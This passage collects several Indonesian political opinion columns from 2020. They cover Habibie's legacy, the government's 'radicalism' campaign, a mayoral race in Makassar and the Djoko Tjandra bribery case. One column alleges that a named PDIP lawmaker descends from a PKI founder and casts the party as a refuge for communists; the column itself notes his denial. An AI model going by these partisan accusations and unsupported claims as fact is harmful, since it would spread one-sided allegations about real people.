Tetapi karena memang kita tidak memberikan lahan bagi munculnya orang-orang seperti Habibie untuk berkarya. Apa kurang pintarnya Ilham Habibie? Ilham Habibie bukan hanya anak Habibie. Ilham juga pun memiliki kepintaran yang luar biasa dibarengi motivasi terkait dedikasi yang tinggi sebagaimana Bapaknya. Bahkan, Ilham mempunyai ide turunan langsung dari ayahnya tentang pengembangan industri dirgantara nasional . Ilhma pun sudah menjalankan idenya tersebut. Namun ketika ide dan langkah yang sudah dimulainya untuk memajukan dunia dirgantara dengan memunculkan pesawat R-80. Tetapi rupanya mengalami naas karena langkah mewujudkan R-80 telah dikeluarkan oleh pemerintah dari program/proyek strategis nasional. Itu berarti bukan hanya tidak ada political will untuk memajukan industri nasional dirgantara, tetapi juga tidak ada political will untuk memunculkan Habibie baru. Pemerintah seperti kehilangan hasrat untuk memfasilitasi anak-anak terbaik bangsa dalam mengeksplorasi kemampuannya di negeri sendiri. Jadi, pertanyaannya bukan siapakah penerus Habibie? Tetapi maukah kita memunculkan Habibie-Habibie yang baru? Karena jangan-jangan Habibie baru itulah yang sudah ada, tetapi tidak pernah difasilitasi oleh pemerintah untuk maju dan berkembang. Semoga tulisan dalam rangka mengenang satu tahun meninggalnya almarhum BJ. Habibie ini akan terus relevan. Semoga kerap menemukan momentum bagi kebangkitan Indonesia. Kebangkitan untuk membangun potensi anak bangsa yang dapat melanjutkan warisan Habibie. Warisan dalam rangka mengembangkan potensi kedirgantaraan di tanah air. Sekaligus juga untuk melanjutkan cita-cita almarhum BJ. Habibie. Ataupun yang sengaja mempersiapkan negara Indonesia menjadi juara di bidang kedirgantaraan secara internasional. Penulis adalah Ketua Lembaga Informasi dan Komunikasi DPP Partai Golkar.

"Radikalisme" Upaya Pengalihan Kegagalan Penguasa

by M. Rizal Fadillah Bandung FNN – Kamis (10/09). Tuduhan radikalisme telah menyasar kepada umat beragama, khususnya umat Islam. Radikal selalu dikonotasikan buruk, destruktif dan main labrak. Radikalisme menjadi stigma baru setelah tetorisme yang "life time"nya sudah usai. Stigma buruk yang disandangkan pada umat Islam, bahkan berpintu pada "good looking" hafidz dan "menguasai" bahasa arab. Inilah stigma yang sangat konyol, ngawur menyakitkan perasaan umat Islam. Stigma ini keluar setelah pemerintah terlihat gagal dan amburadul dalam tata kelola pemerintahan dan pelayanan publik kepada masyarakat. Pemerintah gagal mengelola persoalan ekonomi, politik, hukum dan sosoal budaya. Yang paling terakhir adalah penaggulangan pendemi Covid-19 gagal dan buruk. Indonesia berhasil naik ranking empat terburuk penaggulangan Covid-19. Akkibatnya, Indonesia sekarang dilockdown oleh 68 negara di dunia. Juga sebagai upaya pengalihan isu Rancangan Undang-Undang Haluan Ideologi Pancasilan (RUU HIP), yang sekarang menajdi RUU Badan Pembinaan Ideologi Pancasila (BPIP). Menurut Kamus Besar Bahsa Indonesia (KBBI) radikal mengandung makna 1) secara mendasar (sampai kepada yang prinsip). 2) amat keras menuntut perubahan. 3) maju dalam berfikir atau bertindak. Dari ketiga makna tersebut tidak ada yang mengarah pada tindakan destruktif. Butir dua "amat keras" tersebut pun dapat mengacu pada aspek jiwa atau semangat. Secara etimologi radikal berasal dari kata latin radix atau radici yang artinya "akar". Jadi tidak perlu produksi persoalan baru di tengah banyak masalah bangsa yang sudah menumpuk. Saking banyak masalah, pemerintah sepertinya bingung keluar dari berbagai masalah tersebut. Beragama kalau harus radikal, artinya harus kokoh dan berprinsip. Berakar kuat pada kebenaran yang diyakininya. Menjalankan segala ketentuan-ketentuan yang mengaturnya. Konsisten dan konsekuen. Nabi Ibrahim As dan para Nabi lain mencontohkan sikap berprinsip dalam beragama. Doktrin dan kalamnya dikenal dengan "kalimah thoyyibah". "Tidakkah engkau perhatikan bagaimana Allah membuat perumpamaan “kalimah yang baik” (kalimah thoyyibah) seperti “pohon yang baik”. Akarnya kokoh terhujam (ashluhaa tsaabit) dan cabangnya menjulang ke langit (far'uhaa fis samaa-i) "berbuah" setiap musim dengan izin Allah. Perumpamaan tersebut Allah buat bagi manusia, agar mereka ingat" (QS Ibrahim 24-25). Kalimah dzikrullah, taushiyah, amar ma'ruf nahi munkar adalah "kalimah thoyyibah". Begitu pula dengan konsep arau program ekonomi, budaya, dan politik yang sehat dan halal. Meluruskan penyimpangan adalah kalimah baik yang berakar kokoh. Menegur Imam salah, instruksi meluruskan barisan atau meminta keluar yang mengganggu ibadah itu semua kalimah thoyyibah. Jadi ucapan atau sikap yang berbasis nilai kebenaran adalah kalimah yang dapat dikategorikan radikal dalam beragama. Maka tak ada yang salah jika kita harus radikal dalam beragama. Fanatik dan berprinsip, tentu tanpa mesti mengganggu keyakinan orang lain. Jika sikap radikal beragama dinafikan, bahkan menjadi agenda yang harus ditiadakan, maka itu sama saja dengan membiarkan kemaksiatan berkembang apakah judi, zina, hasud, dengki hingga korupsi merajalela. Kezaliman yang ditoleransi. Mereka yang toleran pada kemaksiatan, kesesatan, atau kesewenang-wenangan adalah orang yang tercabut dari akar (radix) keyakinan kebenarannya. Tak berpendirian dan goyah keimanannya. Buzzer dan influencer dari kepemimpinan yang kriminal. Dan perumpamaan dari “kalimah yang buruk” (kalimah khobiitsah) adalah bagaikan "pohon yang buruk” yang tercabut akarnya dari tanah (ijtutsat min fauqil ardli) dan tidak memiliki ketetapan (maa lahaa min qaraar)-- QS Ibrahim 26. Doktrin kalimah buruk (kalimah khobiitsah) dalam konteks agama dan politik adalah bid'ah-bid'ah, mistisisme, sekularisme, liberalisme dan komunisme. Narasi perjuangan yang anti moral dan kebenaran. Menuduh agama candu, agama steril dari politik, atau hafidz sebagai pintu radikalisme adalah kalimah buruk yang menunjukkan sikap mengambang dan jahat. Menteri Agama yang tak memiliki sikap radikal dalam beragama bukanlah Menteri Agama. Dia bisa menjadi Menteri Mistisisme, Menteri Sekularisme, Menteri Liberalisme ataupun Menteri Komunisme. Buang saja agama untuk suatu perjuangan yang selalu anti dan menista agama... Penulis adalah Pemerhati Politik dan Keagamaan.

Waspada, Banyak Komunis Berbaju Agama

by Mangarahon Dongoran Jakarta FNN - Rabu (09/09/. Kakek politikus Partai Demokrasi Indonesia Perjuangan (PDIP) Arteria Dahlan bernama Bakaruddin merupakan pendiri Partai Komunis Indonesia (PKI) di Sumatera Barat (Sumbar). Ini Arteria Dahlan, kakeknya Bakarudin itu pendiri PKI Sumatera Barat dan anggota Konstituante 1955,” kata Hasril Chaniago di acara ILC tvOne, Selasa (8/9/2020). Acara Indonesia Lawyers Club (ILC) asuhan Karni Ilyas yang tayang Selasa (8/9/2020) malam ramai diperbincangkan. Ramai bukan semata-mata karena membahas tentang tuduhan Puan Maharani yang menyebut orang Sumbar tidak Pancasialis. Akan tetapi, semakin membuka mata masyarakat bahwa di PDI Perjuangan itu banyak bersembunyi turunan PKI atau orang yang berpaham komunis. Saya sendiri tidak menonton acara ILC yang selalu ditunggu pemirsa di seluruh tanah air. Tidak menonton, bukan karena tidak suka, tetapi karena kesibukan yang tidak bisa ditinggalkan. Adalah wartawan senior Hasril Chaniago yang membuka tabir tentang anggota DPR RI dari PDI P, Arteria Dahlan. Kakek politikus PDIP yang sering membuat kontroversi atau kegaduhan itu ternyata turunan Partai Komunis Indonesia (PKI). Artirea Dahlan menurut Hasril Chaniago adalah cucu Bakaruddin, pendiri PKI di Sumbar. “Ini Arteria Dahlan, kakeknya Bakarudin itu pendiri PKI Sumatera Barat dan anggota Konstituante 1955,” kata Hasril Chaniago di acara ILC tvOne, Selasa (8/9/2020). Selain itu, Hasril mengatakan, PRRI bukan memberontak tetapi mengoreksi pemerintah Soekarno yang dekat PKI. Setelah kemerdekaan, ada sembilan kali pergantian kekuasaan, biasa saja dalam demokrasi. “Yang tidak boleh runtuh itu negara. Dalam negara demokrasi setiap minggu itu boleh runtuh (pergsntian kekuasaan). Ini sejarah yang harus diluruskan dari bangku sekolah,” katanya. Pernyataan Hasril Chaniago itu sontak membuat banyak orang menjadi tahu Artirea Dahlan, anggota DPR dari PDIP yang juga sempat membentak-bentak ekonom senior Prof. Emil Salim. Selain itu, semakin membuka tabir, PDIP adalah tempat penampungan keturunan PKI, orang yang berpaham komunis, dan bahkan ateis. Ini bisa dimaklumi karena partai ini menurut petingginya sangat plural, sangat terbuka dan demokratis. Oleh karena itu, di partai ini juga ada penulis buku, "Saya Bangga Jadi Anak PKI, Menyusuri Jalan Perubahan, " Ribka Tjiptaning. Kita salut kepada Ribka Tjiptaning yang secara terang-terangan mengakui anak PKI. Bagaimana dengan yang lainnya yang bercokol di PDIP maupun partai lainnya? Mereka malu-malu kucing mengakui sebagai turunan PKI. Kita berharap semakin banyak yang mengikuti jejak Ribka Tiptaning, sehingga semakin jelas siapa yang komunis anti Pancasila, dan siapa yang Pancasilais sejati. Menjadi tidak wajar jika penganut paham komunis berkumpul di partai yang selalu mendengungkan paling Pancasilais itu, karena sila pertama, "Ketuhanan Yang Maha Esa." Kok bisa orang PKI atau orang yang berpaham komunis berada di PDIP? Padahal, jelas komunis itu anti Tuhan atau tidak mengakui adanya Tuhan, sedangkan PDIP itu, katanya sangat Pancasilais. Arteria Dahlan telah membantah pernyataan Hasril Chaniago. Menurut Arteria, ia tidak ada hubungan dengan pendiri PKI Sumbar. Bahkan, ia menyebut berasal dari keturunan Masyumi, keluarga taat beragama dan guru ngaji pula. Bantahannya itu sah-sah saja. Siapa pun yang dituduh atau disebut macam-macam, berhak membantahnya. Apalagi PKI dan komunis di Indonesia merupakan isu sensitif. Bisa jadi bantahannya itu benar, bisa salah. Ia hanya berusaha melindungi diri dari cacian dan cercaan banyak orang. Akan tetapi, bantahan itu ibarat pepatah, "Nasi sudah menjadi bubur." Dalam ingatan banyak orang, dan juga tulisan yang berseliweran di media sosial, yang keluar adalah, "Ternyata masih turunan PKI. Pantas kalau bicara tidak punya adab." Masih banyak kalimat lain yang muncul. Nah, jika benar Aetirea Dahlan adalah turunan PKI, tidak salah juga ia menjadi bagian dari PDI Perjuangan. Sebab, setiap orang - apalagi turunan - berhak untuk hidup layak, baik secara ekonomi, politik, sosial, keamanan dan budaya. Kalaupun di PDIP banyak turunan PKI atau penganut paham komunis, itu juga sesuatu yang wajar. Sebab, di FPI (Front Pembel Islam ) juga ada turunan PKI. Bahkan, turunan PKI dan penganut paham komunis itu ada di berbagai lini kehidupan masyarakat. Komunis di berbagai lini Yang membedakan turunan PKI yang ada di FPI dan PDIP adalah dalam hal menyadarkannya. Jika yang di FPI turunan PKI disadarkan agar kembali ke ajaran agama Islam yang benar, di PDIP tidak. Di FPI diajarkan lebih sopan dan santun terhadap yang lebih tua, sebagian turunan PKI di PDIP tidak. Contohnya, Arteria Dahlan yang menggertak-gertak Emil Salim, yang sudah sepuh. Jika turunan PKI atau penganut paham komunis dan bahkan ateis masuk ke lingkup FPI, mereka diminta bertaubat. Sedangkan di PDIP dibiarkan dengan tabiat politik kasar, dan jika perlu menghalalkan segala cara. Penganut paham komunis berkedok agama, baik Islam, Kristen, Hindu, Budha harus diwaspadai. Mereka menyusup ke tengah umat beragama, khususnya agama Islam dengan cara halus. Kini mereka sedang mengkapanyekan bahwa Ketua CC PKI DN Aidit sewaktu remaja adalah muazin masjid di kampungnya, Pulau Belitung. Bisa jadi itu benar semua. Akan tetapi, nafsu politik dan birahi kekuasaan bisa mengubah jalan hidup seseorang. Saya mengatakan, "DN Aidit itu murtad menjadi kafir komunis." Masih tidak percaya DN Aidit komunis? Baca saja sejarah secara benar. PKI lah yang menghantarkannya menjadi Wakik Ketua MPRS periode 1960-1966. ** Penulis adalah Wartawan Senior FNN.co.id.

Pilkada Kota Makassar, Pertarungan “Kubu Kalla VS Kubu Paloh”

by Ambo Upe Makasar FNN – Rabu (09/09). Panggung Pemilihan Walikota (Pilwalkot) Makassar akan menjadi “neraka” pertarungan, antara kubu Jusuf Kalla(JK) duet dengan Aksa Mahmud (AM). Kubu ini akan berhadapan dengan kubu Surya Paloh. Calon Walikota Makasar Munafri Arifuddin atau APPI kembali berhadapan dengan “musuh” lamanya Dani Pomanto pada Pilwalikota 2018. Kalau pada Polwalkot Makasar dulu, pasangan APPI berhadapan dengan Kotak Kosong. Dan hasilnya adalah kotak Kosong yang menang. Maka, sekang yang berdiri di belakang APPI masih tetap AM dan JK. Sedangkan yang di belakang Dani Pomanto adalah Surya Paloh, Ketua Umum Partai Nasdem. Kasus tertangkapnya Andi Irfan Jaya, Ketua Bappilu Dewan Pimpinan Wilayah (DPW) Partai Nasdem Sulawesi Selatan oleh Kejaksaan Agung, mau tidak mau membuka peluang calon Nasdem akan menjadi “bulan- bulanan”. Kampanye negatif diperkriakan akan merebak di Makassar khusnya, dan Sulawesi Selatan pada umunya. Pesan tegas adalah, “Jangan Pilih Walikota Dukungan Partai Koruptor”. Sebaga partai yang mengusung tagline restorasi (Gerakan Pembaruan) yang menjanjikan anti terhadap penyakit korupsi, Nasdem sekarang menjadi bahan olok-olokan masyarkat. Akan menjadi amunisi di seluruh daerah yang menyelenggarakan Pilkada untuk memanfaatkan tagline “tolak parpol koruptor”. Inilah peluang yang terbuka bagi kubu AM-JK untuk memenangkan pasangan APPI. Setidaknya ada dua tempat yang menarik banyak perhatian terkait penyelenggaraan Pilkada serentak 2020. Yaitu Kota Tangerang Selatan (Tangsel), di Provinsi Banten dan Makassar di Sulawesi Selatan. Di kedua kota tersebut, dipastikan bertaburan calon -calon mega bintang kerabat tokoh nasional. Di Tangerang Selatan, juga ada Nur Azisah putri Wapres Marif Amin. Ada juga Saraswati, kemenakan Menhan dan Ketua Umum Partai Gerindra Prabowo Subianto. Selain itu, dan Pilar Saga Ikhsan dari dinasti Kerajaan Banten, putra Ratu Tatu. Bakal ramai dan seru. Sedangkan di Makassar, ada Munafri Arifuddin APPI, menantu pengusaha Grup Bosowa Aksa Mahmud, yang juga kemenakan dari Jusuf Kalla. Pasangan APPI akan berhadapan melawan Dani Pomanto, mantan Walikota menggandeng Fatma Rusdi Masse, intri mantan Bupati Sidrap Rudi Masse. Pasangan dani Pomanto ini yang tampil dengan tagline “ADAMA”. Pasangan ADAMA ini bakal didukung Surya Paloh, dari dinasti Nasdem. Pada kubu pasangan ADAMA ini, ada juga dukungan dari Irman (None), adik kandung dari mantan Gubernur Sulawesi Selatan dua priode, Syahrul Yasin Limpo yang sekarang menjabat sebagai Menteri Pertanian. Masyarakat Makassar dan Sulawesi Selatan umumnya, maupun keluarga besar Sulawesi Selatan tentu saja bakal memusatkan perhatiannya kepada pertarungan hidup mati pasangan APPI melawan ADAMA tersebut. Pertarungan mempertaruhkan kehormatan dan harga diri antara pasangan menantu Aksa Mahmud (AM), Munafri Arifuddin yang berpasangan dengan Rahman. Pasangan APPI ini diusung oleh Partai Demokrat, PPP, Perindo, dan PSI. Pasangan APPI bakal berhadap dengan pasangan ADAMA, mantan Walikota Makassar periode 2014 – 2018), Dani Pomanto yang menggandeng Fatmawati, isteri Rusdi Masse, yang adalah Ketua Nasdem Sulawesi Selatan. Pasangan ini diusung oleh Partai Nasdem, Gerindra, Gelora dan PBB. Pada Pilkada Walikota 2018, APPI kalah melawan “kotak kosong”, karena Dani Pomanto sebagai calon independen tersandung ketentuan tidak memenuhi persyaratan. Sementara pasangan APPI memborong hampir semua kursi Partai Politik (Parpol) di Kota Makasar untuk mengusung APPI. ”Tragedi” kekalahan politik pasangan APPI melawan kotak kosong ini sangat memalukan. Karena peristiwa ini justru di kampung sendiri. Ketika itu keluarga Grup Bosowa (Aksa Mahmud) dan Grup Bukaka (Jusuf Kalla), dalam pandangan adat dan budaya Bugis-Makassar dianggap sebagai “penghinaan” atau ini sudah soal “siri” (kehormatan) bagi keluarga AM dan JK. Itulah sebabnya mengapa keputusan APPI untuk maju kembali bertarung pada Pilkada Walikota Makassar 2020 saat ini sangat menarik perhatian masyarakat Sulawesi Selatan. Boleh dikata, menarik juga di seluruh Indonesia. Bahkan di seluruh dunia. Keputusan yang diambil APPI untuk maju bertarung mengandung pesan “pembalasan” atas kekalahannya yang memalukan dulu. Keseriusan keluarga Grup Bosowa dan Grup Bukaka itu terlihat dari susunan Tim Sukses (Timses ) APPI yang dipimpin langsung oleh Erwin Aksa, putra sulung Aksa Mahmud. Erwin didampingi oleh Solihin Kalla, putra sulung Jusuf Kalla. Tim ini juga didukung oleh Sadikin Aksa, pembalap nasional yang juga Ketua Umum Ikatan Motor Indonesia. (bersambung). Penulis adalah Pemerhati Politik dan Sosial Budaya.

Jaksa Agung ST. Burhanuddin Sebaiknya Mundur (Bagian-2)

by Kisman Latumakulita Jakarta FNN – Rabu (09/09). Waktu terus berjalan memimpin proses pengungkap skandal dugaan suap Proposal Jaksa Pinangki Sirna Malasari, Andi Irfan Jaya dan Tjoko Tjandra U$ 100 juta. Tekanannya meningkat perlahan semakin meningkat. Lapisan-lapisan hitam tebal, yang membungkus kasus ini, khususnya membungkus nama Sanitiar (ST) Burhanudin, Jaksa Agung ini, terus terbuka pelan-pelan. Lapisannya terus meleleh, karena dimakan oleh waktu. Nama Jaksa Agung, ST Burhanudin, yang seperti artikel saya terdahulu, kali inipun teta beta desak untuk mundur dari jabatannya. Bukan karena tidak tahu-menahu masalah komunikasi Jaksa Agung Muda Intelijen (Jamintel), Jan Samuel Maringka dengan Tjoko Tjandra. Namun Jan Maringka yang sebelum pemeriksaan di Komisi Kejaksaan (Komjak) dicitrakan bertindak sendiri. Ternyata tidak seperti itu. Ternyata Jan Maringka berada dalam koridor kordinasi dengan Jaksa Agung, ST Burhanudin. Ini berarti tindakan Jan Maringka adalah tindak resmi institusi Kejaksaan. Karena diperintah resmi oleh Jaksa Agung. Dan hasilnya juga sudah dilaporkan kepada Jaksa Agung sebagai user dari operasi inteljen Kejaksaan. Maka, masuk akalkah kalau hanya Jan Maringka yang menjadi korban? Dicopot dari jabatan Jamintel Kejasaan Agung? Apa salah dan dosa Jan Maringka Pak Jaksa Agung? Ini Hasil Pemeriksaan Komjak Fakta yang ditemukan Komjak setelah memeriksa Jan Maringka, sangat menarik. Mantan Jamintel yang sekarang telah dimutasi menjadi Staf Ahli Bidang Perdata dan Tata Usaha Negara. Agar tak bias, beta kutip secara apa adanya fakta itu dari Republika.co.id, berdasarkan hasil wawancaranya dengan Ketua Komjak pada tanggal 7 Sepetember 2020. Ketua Komjak Barita Simanjuntak, tulis republika menerangkan, pemeriksaan Jan Maringka sudah dilakukan pada Kamis (03/09). Pemeriksaan tersebut kata Barita, terkait dengan adanya laporan dari Masyarakat Anti-Korupsi Indonesia (MAKI), tentang adanya keterlibatan Jan Maringka dalam skandal tuan Djoko Tjandra. “Saat diperiksa, dan dimintakan klarifikasi, yang bersangkutan (Jan Maringka) mengaku, menghubungi (Djoko Tjandra) dua kali. Menghubunginya lewat telefon,” kata Barita, saat dihubungi Republika dari Jakarta, pada Senin (7/9). Komunikasi antara Jan Maringka, dan Djoko Tjandra terjadi pada 2 dan 4 Juli 2020. Akan tetapi, Barita menjelaskan, hubungan via telefon Jan Maringka, dan Djoko Tjandra terkait kedinasan dan fungsi intelejen. Jan Maringka, kata Barita menjelaskan, komunikasi tersebut meminta Djoko Tjandra mengakhiri status buronan, dengan pulang ke Indonesia untuk menjalankan keputusan Mahkamah Agung (MA) 2009. Keputusan MA 2009 memvonis Djoko Tjandra dua tahun penjara dalam kasus korupsi hak tagih utang Bank Bali 1999. Namun, kejaksaan tak dapat mengeksekusi putusan tersebut karena Djoko Tjandra berhasil kabur ke Papua Nugini sehari sebelum MA membacakan vonis. Pada 30 Juli 2020, Djoko Tjandra, berhasil ditangkap di Kuala Lumpur, Malaysia, dan dibawa kembali ke Indonesia untuk menjalankan eksekusi dua tahun penjara “Itu (komunikasi Jan Maringka dan Djoko Tjandra), atas perintah dan sepengetahuan, juga dilaporkan ke Jaksa Agung (Burhanuddin), sebagai user (pengguna fungsi) intelijen,” terang Barita. Terungkapnya komunikasi antara Jan Maringka dan Djoko Tjandra, serta peran Jaksa Agung Burhanuddin, membuat terang peran pejabat tinggi Kejakgung itu, dalam pusaran skandal hukumnya (lihat Republika.co.id 08/09/2020). Mau diapakan fakta ini? Mau dianggap sampah? Kalau ini sampah, pasti bukan sampah biasa. Sampah ini bernilai besar. Selamatkan Institusi Kejaksaan Andaikan ahli sulap kelas dunia sejak zaman Fir’aun sampai sekarang sekalipun, tidak bisa ubah fakta jorok, kotor, busuk di atas itu. Sangat tidak bisa. Fakta itu sangat telanjang sekali. Diperoleh oleh Komjak. Institusi ini punya fungsi memeriksa kelakuan para Jaksa negeri. Fakta itu diperoleh saat memeriksa Jan Maringka. Hasilnya disampaikan sendiri oleh Ketua Komjak. Masa mau bilang bohong? Ketua Komjaknya menyampaikan fakta itu tidak dengan cara bisik-bisik di ruang tersembunyi, atau sebagai informasi off the record. Dia menyampaikan secara resmi, dan terbuka kerpada publik lho. Menyampaikannya kepada jurnalis Republika.co.id. Media yang terbilang sangat kredibel ko. Sebagai jurnalis, beta yakin sahabat jurnalis Republika tersebut pasti menyampaikan identitas kewartawanannya. Termasuk menyebut media tempat dia menjadi jurnalis ketika hendak mewawancarai Ketua Komjak Barita. Apalagi mewawancarai via telpon. Pasti dia menyebut identitasnya dan medianya. Singkatnya fakta ini sangat sangat dan sangat kredibel. Jadi mau apa lagi? Bisa apa tuan-tuan di Kejaksaan Agung, macam Jaksa Agung Muda Tindak Pidana Khusus (Jampidsus), Direktur Penyidikan (Dirdik) Jampidsus, Kapuspen serta penyidik kasus ini atas fakta di atas? Sudahlah tuan-tuan. Ini bukan soal ada pidana atau tidak. Juga bukan soal ada bukti atau tidak untuk kategorikan tindakan Jaksa Agung itu sebagai pidana atau bukan. Sama sekali bukan itu. Jan Maringka diperintah Jaksa Agung ST Burhanuddin. Itu keterangannya sendiri. Sangat valid. Tetapi dia sudah dimutasi, tak lama setelah Tjokro Tjandra ditangkap Polisi. Jan Maringka sekarang cuma jadi Staf Ahli. Lalu jaksa Pinangki tidak hanya dicopot dari jabatan kecilnya, tetapi telah dijadikan tersangka. ST Burhanudin, tuan Jaksa Agung bagaimana? Kan masih tetap jadi Jaksa Agung. Hebat betul ini sandiwara. Jangan begitulah. Tidak bagus untuk penegakan hukum dan citra institusi Kejaksaan. Fairkah semua fakta yang telanjang itu? Orang gila puluhan tahun sekalipun akan segera berubah menjadi waras. Orang gila itu lalu segera menertawakan tuan-tuan bila tuan-tuan bilang “perlakuan kepada Jan Samuel Maringka itu dibilang oke saja, patut dan fair. Kalaulah Jaksa Jan Maringka menganggap mutasinya fair, kenapa dia mau diperiksa oleh Komjak? Kalau Jan Maringka menganggap mutasinya fair, kenapa dia mau menerangkan seterang itu kepada Komjak? Masuk akalkah kalau Jaksa Agung Pak ST Burhanuddin menganggap Maringka tidak tahu lokasi kebaradaan Djoko Tjandra? Dan itu menjadi kesalahan dari Jan Maringka? Sangat tidak logis. Apa saja tindakan selama kurun waktu Maringka melaksanakan perintahnya Pak Jaksa Agung? Apakah Pak Jaksa Agung tidak monitor? Apa selama dalam rentang waktu tersebut, Pak Jaksa Agung sedang berada dalam situasi tidak mampu untuk berpikir? Juga sangat tidak logis dong? Dari mana Jan Maringka memperoleh nomor telpon Djoko Tjandra? Apakah diberikan oleh Pak Jaksa Agung? Apakah diperoleh sendiri oleh Jan Maringka sebagai orang intel? Lalu apa saran Jan Maringka kepada Pak Jaksa Agung setelah menerima perintah dar Pak Jaksa Agung? Apakah Jan Maringka menyarankan kepada Pak Jaksa Agung agar melibatkan Polisi? Sehingga Interpol bisa bekerja sesuai mekanisme mengejar seorang boronan yang status hukumnya sudah berkekuatan hukum tetap? Kalau tidak ada saran dari Jan Maringka, apakah Pak Jaksa Agung juga memerintahkan Jan Maringka ungtuk berkordinasi dengan Polisi? Apakah Jan Maringka diperintahkan Pak Jaksa Agung memperpanjang red notice di Intepol? Sehingga tidak perlu mengorbankan Irjen Pol. Napoleon Bonaperte, Kepala NCB Interpol dan Brgjen Polisi Nugroho Prabowo, Sektretaris NCB Interpol, yang keduanya sudah dicopot dari jabatannya itu? Bahkan jendral Napoleon Bonaparte sudah ditetapkan menjadi tersesangka. Kalau tidak ada perintah itu, apa sebabnya Pak Jaksa Agung? Mau terlihat gagah bisa tangkap sendiri tuan Tjoko Tjandra? Hal gelap itu tentu tak bisa terungkap dalam ekspos perkara. Pak Ali Mukartono, Jampidsus tak bakal bisa mengungkapnya. Tetapi untuk Pak Ali, beta mau tanya. Apakah valid bantahan-bantahan Pak Jaksa Agung atas sejumlah isu itu? Kan Pak Jaksa Agung tidak diperiksa oleh penyidik. Dia juga tidak diperiksa oleh Komjak. Beda dengan Jan Maringka. Bagiamana Pak Ali memberi nilai pada pernyataan Pak Jaksa Agung tersebut? Beta mau tanya satu hal lagi. Begini Pak Ali, apakah penyidik telah punya data record pada HP Jaksa Pinangki? Kalau ini tidak dimiliki oleh penyidik, bagaimana Pak Ali menerima dan meyakini isu tentang video call Jaksa Pinangki dengan Pak Jaksa Agung ST Berhanuddin, hanya sebagai bualan semata? Ini kasus betul-betul sudah jadi bubur. Sudah tak bisa lagi berharap lebih dari yang sekarang. Sudah sangat payah. Mau seribu kali ekspos juga akan tetap seperti begini ini. Semua hal gelap di atas akan tetap gelap segelap-gelapnya. Sudahlah cepat-cepat saja diadili itu orang-orang itu. Mau bebas ke, mau dihukum terserah pada tuan-tuan penyidik saja . Tetapi sebagai pimpinan tertinggi Jaksa di republik ini, ST Burhanudian, Jaksa Agung, yang tak punya prestasi apapun selama sepuluh bulan ini, harus bertanggung jawab. Demi institusi dan bangsa ini, beta tetap mendesak Jaksa harus mundur. Tinggalkanlah sudah jabatan itu. Ayo, selamatkan institusi Kejaksaan. juga selamatkan wajah hukum Indonesia. Kasian Pak Jokowi. (bersambung). Penulis adalah Wartawan Senior FNN.co.id.

Makin Belepotan Menteri Fahrul Rozi

by M. Rizal Fadillah Jakarta FNN – Rabu (09/09). Ketika isu reshuffle kabunet mengemuka, Menteri Agama Fahrul Rozi termasuk yang dinilai pantas untuk diganti. Barangkali dalam rangka meningkatkan kepercayaan dari Presiden, maka pak Menteri Fahrul sekarang bermanuver. Isu radikalisme yang menjadi modal dan andalannya di "up date" dengan program deradikalisasi melalui sertifikasi da'i. Sertifikasi da'i sama saja dengan pengawasan atau pengendalian terhadap aktivitas ceramah para da'i. Paradigmanya mencurigai dan memata-matai para da’i. Cara pandang buruk Pemerintah disampaikan melalui Menteri Agama. Bila semakin tak terkendali, Pemerintahan setahap demi setahap akan bergeser menjadi model dari rezim otoriter komunis. Sebelumnya Menteri Agama juga setuju dengan persekusi seorang ustadz yang disinyalir Hizbut Tahrir Indonesia (HTI) oleh kelompok Banser di Pasuruan. Aneh jika atas nama tabayun, maka persekusi, bahkan penistaan terhadap ustadz dibenarkan dan didukung oleh Menteri Agama. Khilafah dan terma Islam lain seperti jihad lalu dimasalahkan. Umat Islam memandang bahwa program deradikalisasi telah berubah menjadi deislamisasi. Menteri Agama memposisikan diri berada di garda terdepan dalam proyek bedar deislamisasi dan deradikalisasi. Deradikalisasi atau deislamisasi seperti ini adalah perbuatan yang bertentangan dengan Pancasila. Pancasila dirumuskan ketat atas prestasi dan pengorbanan umat Islam. Kini umat seolah menjadi tertuduh atau pesakitan di negeri Pancasila. Ini sangat tragis. Tuduhan anti Pancasila yang selalu ditujukan kepada umat Islam, atau rakyat sesungguhnya adalah bias politik. Sebab fakta yang terjadi justru para penentang Pancasila itu berada di lingkaran Pemerintah sendiri. Mereka merencanakan merubah Pancasila melalui pengajuan Rancangan Undang-Undang Haluan Ideologi Pancasiial (RUU HIP). RUU HIP yang sekarang telah berubah menadi RUU Badan Pembinaan Ideologi Pancasila (BPIP gtersebut, menempatkan Pancasila tanggal 1 Juni 1945 dasar negara. Pancasila yang diperas menjadi Trisila dan Ekasila. Bukan Pancasila konsesnsus tangga 18 Agustus 1945. Padahal munculnya RUU HIP atau BPIP nyata-nyata merupakan perbuatan makan kepada negara. Kementrian Agama yang didirikan dengan semangat perjuangan umat Islam, oleh pak Menteri Fahrul Rozi kini digunakan untuk mengacak-acak syari'at agama. Sertifikasi da'i adalah konsep yang sangat menyakitkan umat Islam. Bahkan sangat menyesatkan. Menteri Agama hanya satu fikiran yang ada dalam benaknya bahwa umat Islam itu berbahaya, radikal, dan intoleran. Bagaimana seorang Menteri Agama yang seorang muslim dapat menempatkan umat Islam sedemikian negatifnya? Jangan-jangan ada kelainan? Atau memang dangkal pemahaman terhadap Islam, sehingga harus berhadap-hadapan dengan umat Islam? Pernyataan bahwa radikalis diawali dengan performa "good looking" adalah ungkapan yang sangat, sanagat, dan sangat bodoh. Ungkapan yang mengada-ada, dan hanya mencari-cari dalih. Menteri Agama tidak berfikir positif dari yang dia sebut "good looking". Menteri Agamma sepertinya menempatkan diri sebagai agen dari kepentingan yang berniat untuk mengacak-acak stabilitas umat Islam. Menteri Agama sebagai seorang muslim, selayaknya menjadi pembela terdepan dari agama Islam. Menjadi pelindung utama kepentingan umat Islam. Bukan sebaliknya, yang selalu membuat dan memproduksi keresahan terhadap umat Islam. Bukan pula untuk menggerogoti nilai-nilai agama Islam. Menteri Agama kini menjadi "vampire agama" yang tak berguna. Bahkan sangat berbahaya. Penulis adalah Pemerhati Keagamaan dan Kebangsan.

Ketika Jenderal Purnawirawan Benaran Ikut Demonstrasi

